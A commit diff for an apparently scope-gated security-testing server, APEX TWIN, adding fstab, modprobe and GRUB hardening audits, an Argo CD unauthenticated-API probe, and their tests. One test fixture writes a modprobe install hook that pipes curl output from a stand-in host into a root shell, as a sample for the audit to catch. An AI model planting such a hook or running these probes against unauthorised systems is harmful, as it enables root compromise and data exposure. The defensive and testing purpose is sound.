apex-twin 1.70.0: fstab, modprobe and grub audits, Argo CD probe

New blue tools: fstab_audit (/tmp and friends without nosuid/nodev/noexec,
user-mountable mounts, world-writable fstab), modprobe_audit (install hooks
that run a command as root, world-writable config) and grub_audit
(mitigations=off, nosmap, nokaslr, missing init_on_alloc/init_on_free/
slab_nomerge). New red tool: argocd_probe (/api/v1/applications without a
token, saved as evidence).

Tests: 1302 end-to-end checks green, 240 fuzz cases, analyze clean,
coverage 84.7%, distcheck from the tarball passes.
This commit is contained in:
lotherk committed 2026-11-22 20:00:22 +00:00
1 parent e2cd449d60
commit 357c6575e9
10 files changed
+721 -14

No files matched your search

+2
View File
@@ -13,3 +13,5 @@ build-cov/
*.gcov
apex-twin-*.tar.gz
/apex-twin-*/
__pycache__/
*.pyc
+19 -1
View File
@@ -8,7 +8,25 @@ fields, and state from an older version is read by a newer one.
There are no git tags. The hash next to a version is the commit that introduced
it; the current entry is the commit that adds this section.
## 1.69.0 — 2026-11-23 — this change
## 1.70.0 — 2026-11-23 — this change
- **fstab** (`fstab_audit`): a `/tmp`, `/var/tmp` or `/dev/shm` mount without
`nosuid`, `nodev` or `noexec`; any other mount with `user`, `users` or
`owner`; a world-writable fstab.
- **modprobe** (`modprobe_audit`): an `install` hook in `modprobe.conf` or
`modprobe.d/*.conf` whose command runs as root on every module load
(`/bin/false`, `/bin/true` and `modprobe --ignore-install` stay silent),
and a world-writable config file.
- **GRUB** (`grub_audit`): `/etc/default/grub`: `mitigations=off`, `nosmap`,
`nokaslr` on the command line, and the missing `init_on_alloc=1`,
`init_on_free=1` and `slab_nomerge`/`slub_nomerge` hardening flags.
- **Argo CD** (`argocd_probe`): `/api/v1/applications` and `/api/version`
without a token; a 2xx application list is an unauthenticated GitOps API
and is saved as evidence.
- Tests with fstab, modprobe.d and grub fixtures plus an Argo CD server.
1302 checks.
## 1.69.0 — 2026-11-23
- **Podman** (`podman_audit`): `registries.conf`: a `[[registry]]` block with
`insecure = true` or an `http://` location, `short-name-mode = "disabled"`,
+11 -5
View File
@@ -5,11 +5,11 @@ no Python in the serving path. It gives an agent real reconnaissance and real we
testing behind a scope gate that refuses everything until a rules-of-engagement
file says otherwise.
**314 tools · 1290 end-to-end checks · 240 fuzz cases · 84.7% line coverage · ~1041 KiB**
**318 tools · 1302 end-to-end checks · 240 fuzz cases · 84.7% line coverage · ~1041 KiB**
```
$ ./apex-twin --check
{"version":"1.69.0","tools":314,...,"scope":{"loaded":true,...}}
{"version":"1.70.0","tools":318,...,"scope":{"loaded":true,...}}
```
APEX TWIN was inspired by [ARTEX](https://github.com/Autumn-27/artex) (scope
@@ -228,6 +228,7 @@ uploads and secret-file reads. It does not execute anything.
| `gitea_api_probe` | `/api/v1/admin/users` without auth; admin list as evidence |
| `harbor_probe` | `/api/v2.0/projects` without auth; project list as evidence |
| `portainer_probe` | `/api/status` and `/api/users/admin/check`; setup-open or unauth admin check |
| `argocd_probe` | `/api/v1/applications` without a token; deployed apps as evidence |
| `cookie_audit` | Secure/HttpOnly/SameSite per cookie, incl. `SameSite=None` without Secure |
| `http_options` | `Allow`/`Public`; flags TRACE, PUT, DELETE |
| `sqli_probe` | Quote and boolean payloads; differing answers are a **lead**, not proof |
@@ -511,6 +512,9 @@ command in the allowlist: a receiver is a scanner, a transmitter is an attack.
| `podman_audit` | registries.conf: insecure or http registry, unsigned policy |
| `buildkitd_audit` | buildkitd.toml: insecure registry, tcp without CA, no rootless |
| `supervisor_audit` | supervisord.conf: exposed web UI, no username, root programs |
| `fstab_audit` | fstab: /tmp and friends without nosuid/nodev/noexec, user mounts |
| `modprobe_audit` | modprobe.d: `install` hooks that run a command as root |
| `grub_audit` | /etc/default/grub: mitigations=off, nokaslr, no init_on_alloc |
### ESP32
@@ -978,14 +982,16 @@ src/tools_red.c vuln_check, subdomain_enum, cred_test, vhost_discovery,
influxdb_probe, clickhouse_probe, kibana_api_probe,
logstash_api_probe, amqp_probe, tls_chain_probe,
smtp_auth_probe, jenkins_api_probe, nexus_probe,
gitea_api_probe, harbor_probe, portainer_probe
gitea_api_probe, harbor_probe, portainer_probe,
argocd_probe
src/tools_blue.c hardening_audit, log_audit, ioc_scan, web_log_audit,
detect_rules, integrity_baseline, mitre_map,
process_snapshot, persistence_audit, net_baseline,
ssh_key_audit, suid_baseline, cap_baseline, module_audit,
package_integrity, mount_audit, firewall_audit,
systemd_audit (and ~160 more service config audits,
newest: podman_audit, buildkitd_audit, supervisor_audit)
newest: podman_audit, buildkitd_audit, supervisor_audit,
fstab_audit, modprobe_audit, grub_audit)
src/tools_esp.c esp_info, esp_monitor, esp_read_flash, esp_flash,
esp_partition_table, esp_nvs_parse, firmware_scan,
esp_app_info, esp_image_verify
@@ -1022,7 +1028,7 @@ examples/ scope.json
## Status
1.69.0. Built and run: 314 tools, 1290 checks, 240 fuzz cases and 84.7% line
1.70.0. Built and run: 318 tools, 1302 checks, 240 fuzz cases and 84.7% line
coverage. The loop closes: a probe captures the exchange as a pair, a finding
points at it, `finding_update` gives it a state, an asset records the host it
came from, `cors_check`/`cookie_audit`/`http_options` turn a web answer into a
+1 -1
View File
@@ -9,7 +9,7 @@ problem.
The supported line is the one printed by `apex-twin --version` for the tree you
built; this document ships with that same tree. At the time of writing the line
is **1.69.x** (`src/apex.h`, `APEX_VERSION`). Security fixes land on the current
is **1.70.x** (`src/apex.h`, `APEX_VERSION`). Security fixes land on the current
line. The 1.0 line promises that the on-disk JSON formats for findings, assets
and traffic only gain fields, so state stays readable; older builds are still
rebuilt rather than patched in place.
+4 -3
View File
@@ -1,5 +1,5 @@
.\" apex-twin.1 - manual page for APEX TWIN
.TH APEX-TWIN 1 "2026-11-21" "apex-twin 1.69.0" "User Commands"
.TH APEX-TWIN 1 "2026-11-21" "apex-twin 1.70.0" "User Commands"
.SH NAME
apex-twin \- scope\-gated offensive\-security MCP server
.SH SYNOPSIS
@@ -46,7 +46,7 @@ sip_probe, telnet_probe, http_methods, websocket_probe, ike_probe, snmp_walk,
ldap_search, openapi_discovery, csrf_audit, rpc_probe, ntp_probe, dnssec_check, smtp_starttls_probe, tls_ocsp_probe, alpn_probe, webdav_probe, dns_wildcard_check, dns_caa_check, sni_vhost_check, tls_client_auth_probe, kubernetes_api_probe,
dns_ns_consistency, dns_dangling_cname, http_redirect_audit,
websocket_origin_check, dns_fcrdns_check, dns_soa_mname_check, http_redirect_audit,
websocket_origin_check, hsts_audit, tls_hostname_check, ftp_tls_probe, zookeeper_4lw_probe, etcd_api_probe, docker_registry_probe, consul_api_probe, couchdb_probe, prometheus_api_probe, rabbitmq_management_probe, grafana_api_probe, minio_admin_probe, nats_monitoring_probe, influxdb_probe, clickhouse_probe, kibana_api_probe, logstash_api_probe, amqp_probe, tls_chain_probe, smtp_auth_probe, jenkins_api_probe, nexus_probe, gitea_api_probe, harbor_probe, portainer_probe),
websocket_origin_check, hsts_audit, tls_hostname_check, ftp_tls_probe, zookeeper_4lw_probe, etcd_api_probe, docker_registry_probe, consul_api_probe, couchdb_probe, prometheus_api_probe, rabbitmq_management_probe, grafana_api_probe, minio_admin_probe, nats_monitoring_probe, influxdb_probe, clickhouse_probe, kibana_api_probe, logstash_api_probe, amqp_probe, tls_chain_probe, smtp_auth_probe, jenkins_api_probe, nexus_probe, gitea_api_probe, harbor_probe, portainer_probe, argocd_probe),
defensive
audits (hardening_audit, log_audit, ioc_scan, web_log_audit, detect_rules,
integrity_baseline, mitre_map, process_snapshot, persistence_audit,
@@ -83,7 +83,8 @@ udev_audit, issue_audit, usbguard_audit, certbot_audit,
wpa_supplicant_audit, bluetooth_audit, networkmanager_audit, dbus_audit, passwd_audit,
authorized_keys_audit, ld_preload_audit, gitconfig_audit, npmrc_audit,
pip_conf_audit, podman_audit, buildkitd_audit,
supervisor_audit)
supervisor_audit,
fstab_audit, modprobe_audit, grub_audit)
and ESP32 board tools (esp_info, esp_monitor,
esp_read_flash, esp_flash, esp_partition_table, esp_nvs_parse, firmware_scan,
esp_app_info, esp_image_verify).
+1 -1
View File
@@ -15,7 +15,7 @@
#include "mcp.h"
#define APEX_VERSION "1.69.0"
#define APEX_VERSION "1.70.0"
#define APEX_MAX_OUT (1u << 20)
#define APEX_PATH_MAX 512
#define APEX_PATH_FULL 1024
+413
View File
@@ -21230,6 +21230,395 @@ static void t_supervisor_audit(mcp_conn *c, const mcp_json *args, void *user)
mcp_buf_free(&findings);
}
/* --------------------------------------------------------------- fstab_audit */
/* The option field is a comma list; only whole words count, so "nodevx" or a
* device name that happens to contain "nodev" is not a hit. */
static int opt_has(const char *opts, const char *want)
{
const char *p = opts;
while (*p != '\0') {
const char *comma = strchr(p, ',');
size_t len = comma != NULL ? (size_t)(comma - p) : strlen(p);
if (strlen(want) == len && strncmp(p, want, len) == 0)
return 1;
if (comma == NULL)
break;
p = comma + 1;
}
return 0;
}
/* /etc/fstab: fstype option dump mount records have six fields */
struct fstab_row {
char spec[256];
char mount[256];
char type[64];
char opts[512];
};
static int fstab_parse(const char *line, struct fstab_row *row)
{
char copy[2048];
char *fields[8];
int n = 0;
char *p;
if (strlen(line) >= sizeof(copy))
return 0;
strcpy(copy, line);
p = copy;
while (n < 8) {
char *tok = p;
while (*tok == ' ' || *tok == '\t')
tok++;
if (*tok == '\0' || *tok == '#')
break;
fields[n++] = tok;
p = tok;
while (*p != '\0' && *p != ' ' && *p != '\t')
p++;
if (*p == '\0')
break;
*p++ = '\0';
}
if (n < 4)
return 0;
snprintf(row->spec, sizeof(row->spec), "%s", fields[0]);
snprintf(row->mount, sizeof(row->mount), "%s", fields[1]);
snprintf(row->type, sizeof(row->type), "%s", fields[2]);
snprintf(row->opts, sizeof(row->opts), "%s", fields[3]);
return 1;
}
static void t_fstab_audit(mcp_conn *c, const mcp_json *args, void *user)
{
const char *root = mcp_arg_string(args, "root");
char path[1024];
static char text[131072];
struct stat st;
mcp_buf b;
mcp_buf findings;
int first = 1;
int count = 0;
int entries = 0;
int at_least = 0;
const char *p;
(void)user;
if (root == NULL)
root = "";
if (strlen(root) > 400) {
mcp_reply_error(c, "root path too long");
return;
}
snprintf(path, sizeof(path), "%.400s/etc/fstab", root);
if (read_text(path, text, sizeof(text)) <= 0) {
mcp_reply_error(c, "cannot read /etc/fstab below the root prefix");
return;
}
mcp_buf_init(&findings);
if (stat(path, &st) == 0 && (st.st_mode & 0002) != 0) {
add_finding(&findings, &first, "world-writable", "high",
"%s is writable by anyone", path);
count++;
}
p = text;
while (p != NULL && *p != '\0') {
const char *eol = strchr(p, '\n');
size_t len = eol != NULL ? (size_t)(eol - p) : strlen(p);
char line[2048];
struct fstab_row row;
if (len >= sizeof(line))
len = sizeof(line) - 1;
memcpy(line, p, len);
line[len] = '\0';
trim_eol(line);
if (fstab_parse(line, &row)) {
entries++;
if (strcmp(row.mount, "/tmp") == 0 ||
strcmp(row.mount, "/var/tmp") == 0 ||
strcmp(row.mount, "/dev/shm") == 0) {
if (!opt_has(row.opts, "nosuid")) {
add_finding(&findings, &first,
"tmp-no-nosuid", "medium",
"%s is mounted without nosuid",
row.mount);
count++;
}
if (!opt_has(row.opts, "nodev")) {
add_finding(&findings, &first,
"tmp-no-nodev", "medium",
"%s is mounted without nodev",
row.mount);
count++;
}
if (!opt_has(row.opts, "noexec")) {
add_finding(&findings, &first,
"tmp-no-noexec", "low",
"%s is mounted without noexec",
row.mount);
count++;
}
at_least++;
}
if (row.mount[0] == '/' &&
strcmp(row.mount, "/tmp") != 0 &&
strcmp(row.mount, "/var/tmp") != 0 &&
strcmp(row.mount, "/dev/shm") != 0 &&
strcmp(row.mount, "/") != 0 &&
(opt_has(row.opts, "user") || opt_has(row.opts, "users") ||
opt_has(row.opts, "owner"))) {
add_finding(&findings, &first, "user-mount", "medium",
"%s is user-mountable (%s)", row.mount,
row.opts);
count++;
}
}
p = eol != NULL ? eol + 1 : NULL;
}
mcp_buf_init(&b);
mcp_buf_puts(&b, "{\"root\":");
apex_json_str(&b, root);
mcp_buf_printf(&b, ",\"entries\":%d,\"tmp_mounts\":%d,"
"\"findings_count\":%d,\"findings\":[",
entries, at_least, count);
if (findings.p != NULL)
mcp_buf_add(&b, findings.p, findings.len);
mcp_buf_puts(&b, "]}");
mcp_reply_json(c, b.p);
mcp_buf_free(&b);
mcp_buf_free(&findings);
}
/* ------------------------------------------------------------ modprobe_audit */
/* "install foo /bin/sh -c ..." runs a command as root whenever the module is
* loaded. Only a command that is exactly /bin/false or /bin/true is a
* deliberate block. */
static void modprobe_scan_file(mcp_buf *findings, int *first, int *count,
const char *path)
{
static char text[65536];
struct stat st;
const char *p;
if (read_text(path, text, sizeof(text)) <= 0)
return;
if (stat(path, &st) == 0 && (st.st_mode & 0002) != 0) {
add_finding(findings, first, "world-writable", "high",
"%s is writable by anyone", path);
(*count)++;
}
p = text;
while (p != NULL && *p != '\0') {
const char *eol = strchr(p, '\n');
size_t len = eol != NULL ? (size_t)(eol - p) : strlen(p);
char line[1024];
char *s;
char *cmd;
if (len >= sizeof(line))
len = sizeof(line) - 1;
memcpy(line, p, len);
line[len] = '\0';
trim_eol(line);
s = line;
while (*s == ' ' || *s == '\t')
s++;
if (strncmp(s, "install", 7) == 0 && (s[7] == ' ' || s[7] == '\t')) {
s += 7;
while (*s == ' ' || *s == '\t')
s++;
cmd = s;
while (*cmd != '\0' && *cmd != ' ' && *cmd != '\t')
cmd++;
while (*cmd == ' ' || *cmd == '\t')
cmd++;
if (*cmd != '\0' && strcmp(cmd, "/bin/false") != 0 &&
strcmp(cmd, "/bin/true") != 0 &&
strcmp(cmd, "/sbin/modprobe --ignore-install") != 0) {
add_finding(findings, first, "install-command", "high",
"%s runs a command instead of blocking: %s",
path, cmd);
(*count)++;
}
}
p = eol != NULL ? eol + 1 : NULL;
}
}
static void t_modprobe_audit(mcp_conn *c, const mcp_json *args, void *user)
{
const char *root = mcp_arg_string(args, "root");
char dirpath[1024];
static const char *flat = "/etc/modprobe.conf";
DIR *d;
struct dirent *ent;
mcp_buf b;
mcp_buf findings;
int first = 1;
int count = 0;
int files = 0;
(void)user;
if (root == NULL)
root = "";
if (strlen(root) > 400) {
mcp_reply_error(c, "root path too long");
return;
}
mcp_buf_init(&findings);
snprintf(dirpath, sizeof(dirpath), "%.400s%s", root, flat);
{
struct stat st;
if (stat(dirpath, &st) == 0) {
files++;
modprobe_scan_file(&findings, &first, &count, dirpath);
}
}
snprintf(dirpath, sizeof(dirpath), "%.400s/etc/modprobe.d", root);
d = opendir(dirpath);
if (d != NULL) {
while ((ent = readdir(d)) != NULL) {
char path[1200];
if (ent->d_name[0] == '.')
continue;
if (strstr(ent->d_name, ".conf") == NULL)
continue;
snprintf(path, sizeof(path), "%.800s/%.200s", dirpath,
ent->d_name);
files++;
modprobe_scan_file(&findings, &first, &count, path);
}
closedir(d);
}
if (files == 0) {
mcp_buf_free(&findings);
mcp_reply_error(c, "cannot read a modprobe configuration");
return;
}
mcp_buf_init(&b);
mcp_buf_puts(&b, "{\"root\":");
apex_json_str(&b, root);
mcp_buf_printf(&b, ",\"files\":%d,\"findings_count\":%d,\"findings\":[",
files, count);
if (findings.p != NULL)
mcp_buf_add(&b, findings.p, findings.len);
mcp_buf_puts(&b, "]}");
mcp_reply_json(c, b.p);
mcp_buf_free(&b);
mcp_buf_free(&findings);
}
/* ---------------------------------------------------------------- grub_audit */
static int cmdline_has(const char *cmdline, const char *want)
{
const char *p = cmdline;
while (*p != '\0') {
const char *sp = strchr(p, ' ');
size_t len = sp != NULL ? (size_t)(sp - p) : strlen(p);
if (strlen(want) == len && strncmp(p, want, len) == 0)
return 1;
if (sp == NULL)
break;
p = sp + 1;
}
return 0;
}
static void t_grub_audit(mcp_conn *c, const mcp_json *args, void *user)
{
const char *root = mcp_arg_string(args, "root");
char path[1024];
static char text[65536];
struct stat st;
mcp_buf b;
mcp_buf findings;
int first = 1;
int count = 0;
char cmdline[2048];
(void)user;
if (root == NULL)
root = "";
if (strlen(root) > 400) {
mcp_reply_error(c, "root path too long");
return;
}
snprintf(path, sizeof(path), "%.400s/etc/default/grub", root);
if (read_text(path, text, sizeof(text)) <= 0) {
mcp_reply_error(c, "cannot read /etc/default/grub below the root "
"prefix");
return;
}
cmdline[0] = '\0';
if (conf_value(text, "GRUB_CMDLINE_LINUX", cmdline, sizeof(cmdline)) <= 0 &&
conf_value(text, "GRUB_CMDLINE_LINUX_DEFAULT", cmdline,
sizeof(cmdline)) <= 0)
cmdline[0] = '\0';
mcp_buf_init(&findings);
if (stat(path, &st) == 0 && (st.st_mode & 0002) != 0) {
add_finding(&findings, &first, "world-writable", "high",
"%s is writable by anyone", path);
count++;
}
if (cmdline_has(cmdline, "mitigations=off")) {
add_finding(&findings, &first, "mitigations-off", "high",
"GRUB_CMDLINE_LINUX disables CPU mitigations");
count++;
}
if (cmdline_has(cmdline, "nosmap")) {
add_finding(&findings, &first, "nosmap", "medium",
"SMAP is disabled on the kernel command line");
count++;
}
if (cmdline_has(cmdline, "nokaslr")) {
add_finding(&findings, &first, "nokaslr", "medium",
"kernel address space randomisation is disabled");
count++;
}
if (!cmdline_has(cmdline, "init_on_alloc=1") &&
!cmdline_has(cmdline, "init_on_alloc=0")) {
add_finding(&findings, &first, "no-init-on-alloc", "low",
"init_on_alloc=1 is not set (heap is not zeroed)");
count++;
}
if (!cmdline_has(cmdline, "init_on_free=1") &&
!cmdline_has(cmdline, "init_on_free=0")) {
add_finding(&findings, &first, "no-init-on-free", "low",
"init_on_free=1 is not set (freed memory keeps data)");
count++;
}
if (!cmdline_has(cmdline, "slab_nomerge") &&
!cmdline_has(cmdline, "slub_nomerge")) {
add_finding(&findings, &first, "no-slab-nomerge", "low",
"slab_nomerge is not set (slab caches are merged)");
count++;
}
mcp_buf_init(&b);
mcp_buf_puts(&b, "{\"root\":");
apex_json_str(&b, root);
mcp_buf_puts(&b, ",\"cmdline\":");
apex_json_str(&b, cmdline);
mcp_buf_printf(&b, ",\"findings_count\":%d,\"findings\":[", count);
if (findings.p != NULL)
mcp_buf_add(&b, findings.p, findings.len);
mcp_buf_puts(&b, "]}");
mcp_reply_json(c, b.p);
mcp_buf_free(&b);
mcp_buf_free(&findings);
}
const mcp_tool TOOLS_BLUE[] = {
{ "hardening_audit",
"Read-only posture audit of the local host: sshd_config (root login, "
@@ -22448,6 +22837,30 @@ const mcp_tool TOOLS_BLUE[] = {
"{\"type\":\"object\",\"properties\":{"
"\"root\":{\"type\":\"string\",\"description\":\"prefix, default empty\"}}}",
t_supervisor_audit },
{ "fstab_audit",
"Parse /etc/fstab (root prefix): /tmp, /var/tmp and /dev/shm without "
"nosuid, nodev or noexec, and user- or owner-mountable filesystems "
"outside those. Option fields are split on commas and matched as whole "
"words. Read-only.",
"{\"type\":\"object\",\"properties\":{"
"\"root\":{\"type\":\"string\",\"description\":\"prefix, default empty\"}}}",
t_fstab_audit },
{ "modprobe_audit",
"Parse /etc/modprobe.conf and /etc/modprobe.d/*.conf (root prefix): an "
"install line whose command is anything but /bin/false, /bin/true or "
"the modprobe passthrough. Such a line runs an arbitrary command as "
"root when the module loads. Also flags world-writable files.",
"{\"type\":\"object\",\"properties\":{"
"\"root\":{\"type\":\"string\",\"description\":\"prefix, default empty\"}}}",
t_modprobe_audit },
{ "grub_audit",
"Parse /etc/default/grub (root prefix): mitigations=off, nosmap, "
"nokaslr, and a GRUB_CMDLINE_LINUX without init_on_alloc=1, "
"init_on_free=1 or slab_nomerge. An explicit =0 counts as a decision "
"and is not flagged twice. World-writable grub file included.",
"{\"type\":\"object\",\"properties\":{"
"\"root\":{\"type\":\"string\",\"description\":\"prefix, default empty\"}}}",
t_grub_audit },
};
const size_t TOOLS_BLUE_N = sizeof(TOOLS_BLUE) / sizeof(TOOLS_BLUE[0]);
+98
View File
@@ -8299,6 +8299,91 @@ static void t_portainer_probe(mcp_conn *c, const mcp_json *args, void *user)
mcp_buf_free(&b);
}
/* ----------------------------------------------------------------- argocd_probe */
static void t_argocd_probe(mcp_conn *c, const mcp_json *args, void *user)
{
static const char *paths[] = { "/api/version",
"/api/v1/session/userinfo",
"/api/v1/applications", NULL };
const char *target = mcp_arg_string(args, "target");
int port = mcp_arg_int(args, "port", 8080);
int tls = mcp_arg_bool(args, "tls", apex_looks_tls(port));
mcp_buf b;
int first = 1;
int tested = 0;
int open_count = 0;
int apps_open = 0;
char *evidence = NULL;
int i;
(void)user;
if (target == NULL || *target == '\0') {
mcp_reply_error(c, "target is required");
return;
}
if (port <= 0 || port > 65535) {
mcp_reply_error(c, "port out of range");
return;
}
if (!gated(c, "argocd_probe", target, port))
return;
mcp_buf_init(&b);
mcp_buf_puts(&b, "{\"target\":");
apex_json_str(&b, target);
mcp_buf_printf(&b, ",\"port\":%d,\"tls\":%s,\"endpoints\":[", port,
tls ? "true" : "false");
for (i = 0; paths[i] != NULL; i++) {
char status[256];
char *resp = NULL;
size_t len = 0;
int code;
int open;
status[0] = '\0';
if (apex_http_once(target, port, tls, "GET", paths[i], NULL, NULL,
8000, &resp, &len, status,
sizeof(status)) != 0)
continue;
tested++;
code = apex_status_code(status);
open = code >= 200 && code < 300;
if (open)
open_count++;
/* Only the application list proves data exposure; /api/version is
* public on a hardened install as well. */
if (open && strcmp(paths[i], "/api/v1/applications") == 0) {
apps_open = 1;
if (evidence == NULL)
evidence = apex_evidence_save("argocd-applications", resp,
len);
}
if (!first)
mcp_buf_puts(&b, ",");
first = 0;
mcp_buf_puts(&b, "{\"path\":");
apex_json_str(&b, paths[i]);
mcp_buf_printf(&b, ",\"status\":%d,\"bytes\":%lu,\"open\":%s}",
code, (unsigned long)len, open ? "true" : "false");
free(resp);
}
mcp_buf_printf(&b, "],\"tested\":%d,\"open_count\":%d,"
"\"applications_open\":%s,\"evidence\":",
tested, open_count, apps_open ? "true" : "false");
if (evidence != NULL)
apex_json_str(&b, evidence);
else
mcp_buf_puts(&b, "null");
mcp_buf_puts(&b, "}");
apex_audit("argocd_probe", target, port, !apps_open,
apps_open
? "the Argo CD application API answers without a token"
: "the Argo CD application API requires authentication", "list");
mcp_reply_json(c, b.p);
free(evidence);
mcp_buf_free(&b);
}
const mcp_tool TOOLS_RED[] = {
{ "vuln_check",
"Non-destructive verification of exposed artifacts on one web target: "
@@ -9012,6 +9097,19 @@ const mcp_tool TOOLS_RED[] = {
"\"tls\":{\"type\":\"boolean\"}},"
"\"required\":[\"target\"]}",
t_portainer_probe },
{ "argocd_probe",
"Query an Argo CD server without a token: /api/version, "
"/api/v1/session/userinfo and /api/v1/applications. A 2xx on the "
"application list is an unauthenticated API that exposes every deployed "
"application, and its body is saved as evidence. /api/version alone is "
"public on a hardened install and is not counted as exposure. Gate: the "
"target.",
"{\"type\":\"object\",\"properties\":{"
"\"target\":{\"type\":\"string\"},"
"\"port\":{\"type\":\"integer\",\"description\":\"default 8080\"},"
"\"tls\":{\"type\":\"boolean\"}},"
"\"required\":[\"target\"]}",
t_argocd_probe },
{ "dns_ns_consistency",
"Fetch NS records for a domain from the parent resolver and from its own "
"first nameserver (resolved to an address), then report names present on "
+1 -1
View File
@@ -21,7 +21,7 @@ import re
import sys
HERE = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
EXPECTED_TOOLS = 314
EXPECTED_TOOLS = 318
GATE = ("gated(", "gated_cmd(", "gated_run(", "apex_scope_check(")
NET = ("http_once(", "tcp_connect_host(", "tcp_probe(", "apex_run(")
# Tools whose "target" argument filters local records; they never touch it.
+171 -2
View File
@@ -134,7 +134,7 @@ res, _ = run([
], home=empty)
check("tools/list answers", any(r.get("id") == 1 for r in res))
tools = [r for r in res if r.get("id") == 1][0]["result"]["tools"]
check("314 tools registered", len(tools) == 314, len(tools))
check("318 tools registered", len(tools) == 318, len(tools))
names = {t["name"] for t in tools}
for need in ("portscan", "nmap", "http_request", "marauder_scan",
"method_playbook", "finding_add", "finding_update", "scope_check",
@@ -1560,7 +1560,7 @@ try:
check("http initialize", init["result"]["serverInfo"]["name"] == "apex-twin",
init)
listing = post({"jsonrpc": "2.0", "id": 2, "method": "tools/list"})
check("http tools/list", len(listing["result"]["tools"]) == 314)
check("http tools/list", len(listing["result"]["tools"]) == 318)
shown = post(call(3, "scope_show"))
check("http scope_show", '"loaded":true' in shown["result"]["content"][0]["text"])
# the id must be the request's id, not one found inside the arguments
@@ -14306,6 +14306,175 @@ shutil.rmtree(sv_root, ignore_errors=True)
shutil.rmtree(sv_good_root, ignore_errors=True)
shutil.rmtree(cfg41_home, ignore_errors=True)
# --- 1.70.0: fstab, modprobe and grub audits plus the Argo CD probe ---
print("\n== fstab, modprobe, grub and Argo CD ==")
fs_root = tempfile.mkdtemp(prefix="apex-fs-")
os.makedirs(os.path.join(fs_root, "etc"))
fs_bad = os.path.join(fs_root, "etc", "fstab")
with open(fs_bad, "w") as f:
f.write("# /etc/fstab\n")
f.write("UUID=aaaa / ext4 defaults 0 1\n")
f.write("tmpfs /tmp tmpfs defaults 0 0\n")
f.write("tmpfs /dev/shm tmpfs nosuid,size=64m 0 0\n")
f.write("/dev/sdb1 /mnt/data ext4 rw,user,noauto 0 0\n")
os.chmod(fs_bad, 0o666)
fs_good_root = tempfile.mkdtemp(prefix="apex-fsg-")
os.makedirs(os.path.join(fs_good_root, "etc"))
with open(os.path.join(fs_good_root, "etc", "fstab"), "w") as f:
f.write("UUID=aaaa / ext4 defaults 0 1\n")
f.write("tmpfs /tmp tmpfs rw,nosuid,nodev,noexec 0 0\n")
f.write("tmpfs /dev/shm tmpfs rw,nosuid,nodev,noexec 0 0\n")
f.write("/dev/sdb1 /mnt/data ext4 rw,noauto 0 0\n")
mp_root = tempfile.mkdtemp(prefix="apex-mp-")
os.makedirs(os.path.join(mp_root, "etc", "modprobe.d"))
mp_bad = os.path.join(mp_root, "etc", "modprobe.d", "evil.conf")
with open(mp_bad, "w") as f:
f.write("# module hooks\n")
f.write("install usb-storage /bin/sh -c 'curl -s http://x/s | sh'\n")
f.write("install cramfs /bin/true\n")
f.write("blacklist firewire-core\n")
os.chmod(mp_bad, 0o666)
mp_good_root = tempfile.mkdtemp(prefix="apex-mpg-")
os.makedirs(os.path.join(mp_good_root, "etc", "modprobe.d"))
with open(os.path.join(mp_good_root, "etc", "modprobe.d", "block.conf"),
"w") as f:
f.write("install usb-storage /bin/false\n")
f.write("install cramfs /bin/true\n")
f.write("blacklist firewire-core\n")
gr_root = tempfile.mkdtemp(prefix="apex-gr-")
os.makedirs(os.path.join(gr_root, "etc", "default"))
gr_bad = os.path.join(gr_root, "etc", "default", "grub")
with open(gr_bad, "w") as f:
f.write("GRUB_DEFAULT=0\n")
f.write("GRUB_CMDLINE_LINUX=\"quiet mitigations=off nosmap nokaslr\"\n")
f.write("GRUB_CMDLINE_LINUX_DEFAULT=\"quiet splash\"\n")
os.chmod(gr_bad, 0o666)
gr_good_root = tempfile.mkdtemp(prefix="apex-grg-")
os.makedirs(os.path.join(gr_good_root, "etc", "default"))
with open(os.path.join(gr_good_root, "etc", "default", "grub"), "w") as f:
f.write("GRUB_CMDLINE_LINUX=\"quiet init_on_alloc=1 init_on_free=1 "
"slab_nomerge\"\n")
class _ArgoHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
path = urllib.parse.urlsplit(self.path).path
if path == "/api/version":
body = b'{"Version":"v2.11.3","BuildDate":"2024-09-09"}'
self.send_response(200)
elif path == "/api/v1/session/userinfo":
body = b'{"loggedIn":false,"username":""}'
self.send_response(200)
elif path == "/api/v1/applications":
body = b'{"items":[{"metadata":{"name":"prod-api"}}],"total":1}'
self.send_response(200)
else:
body = b'{"code":5,"message":"not found"}'
self.send_response(404)
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, *args):
pass
class _ArgoAuthHandler(_ArgoHandler):
def do_GET(self):
body = b'{"error":"unauthorized","code":16}'
self.send_response(401)
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
argo_srv = http.server.HTTPServer(("127.0.0.1", 0), _ArgoHandler)
argo_port = argo_srv.server_address[1]
threading.Thread(target=argo_srv.serve_forever, daemon=True).start()
argo_auth_srv = http.server.HTTPServer(("127.0.0.1", 0), _ArgoAuthHandler)
argo_auth_port = argo_auth_srv.server_address[1]
threading.Thread(target=argo_auth_srv.serve_forever, daemon=True).start()
cfg42_home = tempfile.mkdtemp(prefix="apex-cfg42-home-")
write_scope(cfg42_home, {"label": "cfg42", "expires": "2099-12-31T23:59:59Z",
"allow_private": True, "allow_ip": ["127.0.0.1"],
"allow_port": [str(argo_port), str(argo_auth_port)]})
res, _ = run([
call(1, "fstab_audit", root=fs_root),
call(2, "fstab_audit", root=fs_good_root),
call(3, "modprobe_audit", root=mp_root),
call(4, "modprobe_audit", root=mp_good_root),
call(5, "grub_audit", root=gr_root),
call(6, "grub_audit", root=gr_good_root),
call(7, "argocd_probe", target="127.0.0.1", port=argo_port, tls=False),
call(8, "argocd_probe", target="127.0.0.1", port=argo_auth_port,
tls=False),
call(9, "argocd_probe", target="198.51.100.9", port=8080),
call(10, "fstab_audit", root="/nonexistent-fs"),
call(11, "modprobe_audit", root="/nonexistent-mp"),
call(12, "grub_audit", root="/nonexistent-gr"),
], home=cfg42_home)
by_id = {r.get("id"): r for r in res}
fs = json.loads(text(by_id[1]))
fs_kinds = {f["id"] for f in fs["findings"]}
check("fstab_audit flags tmp mounts without hardening and a user mount",
{"world-writable", "tmp-no-nosuid", "tmp-no-nodev", "tmp-no-noexec",
"user-mount"} <= fs_kinds and fs["entries"] == 4 and
fs["tmp_mounts"] == 2, fs)
fs_good = json.loads(text(by_id[2]))
